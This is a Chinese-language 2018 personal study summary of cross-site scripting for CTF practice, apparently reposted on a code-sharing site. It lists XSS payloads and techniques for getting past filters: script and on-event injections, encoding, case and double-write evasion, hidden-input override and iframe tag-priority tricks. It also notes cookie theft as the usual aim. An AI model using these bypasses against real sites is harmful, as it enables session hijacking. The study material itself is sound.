xss總結--2018自我整理


0x00前言

因為ctf中xss的題目偏少(因為需要機器人在后台點選手的連接2333),所有寫的比較少

這里推薦個環境http://test.xss.tv/

 

0x01xss作用

常見的輸出函數:print()、 print_r()、 echo、 printf()、 sprintf()、 die()、 var_dump()、 var_export()

xss是往頁面中添加了一段代碼,並且被瀏覽器執行了

反射型將惡意代碼寫入參數,或者自己服務器上搭個form表單傳送,用來釣魚

存儲型就等着別人點這個網頁就行了

 

0x02手段

xss主要出現的地方:文章發表,評論回復,留言,資料設置等

xss無非就是要對方的cookie,但是常常會有httponly導致cookie並不能傳到xss平台,這是一種有效的防御方式

但是xss預防應該從本質出發,即對該頁面用戶輸入不能被執行

 

xss觸發方法

利用script標簽執行js

<script>alert(1)</script>

字符串用" ' 包裹都行

采用on事件方法

on事件不用單引號或雙引號也可以觸發,但是必須閉合標簽內的引號

<onclick=alert(1)>     =>點擊就會觸發
<onmouseover=alert(1)> =>鼠標移動觸發

能夠使用on事件的標簽

支持on click事件的標簽有<a>, <address>, <area>, <b>, <bdo>, <big>, <blockquote>, <body>, <button>,
<caption>, <cite>, <code>, <dd>, <dfn>, <div>, <dl>, <dt>, <em>, <fieldset>,
<form>, <h1> to <h6>, <hr>, <i>, <img>, <input>, <kbd>, <label>

采用a標簽來做到xss

<a href="javascript:alert(1)" >

 

0x03bypass方法

采用編碼,把字符串可以進行編碼

&#   后接十進制     => unicode編碼
&#x 后接十六進制    => unicode編碼

 

采用標簽中的空隙規則

假設正則是

<\s*(script[^>]*)>([\s\S][^<]*)<\/\s*script>

可以采用

<script>alert(1)</script > ==> 最后有個p和>間有空格繞過

 

采用雙寫繞過空字符替換

如果被刪除關鍵字,可以采用重寫方法比如 <scriscriptpt>


采用大小寫繞過不嚴格的waf

 <script>   => <Script>

 

采用參數覆蓋,覆蓋掉hidden參數

<input name="t_sort"  value="" onmouseover=alert(1) type="text" type="hidden">
我們輸入的內容為:" onmouseover=alert(1) type="text

 

有些標簽的優先級高於",導致執行xss

  • <!--

  • <iframe>

  • <noframes>

  • <noscript>

  • <script>

  • <style>

  • <textarea>

  • <title>

  • <xmp>

具體原理參考鏈接:https://blog.csdn.net/Bg70PVnyBv1/article/details/79358628?tdsourcetag=s_pcqq_aiomsg

使用方法

<iframe>"</iframe><script>alert(1)</script>"</iframe>  #這語句是會彈框的

假設輸入的內容是
</iframe><script>alert(1)</script>

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM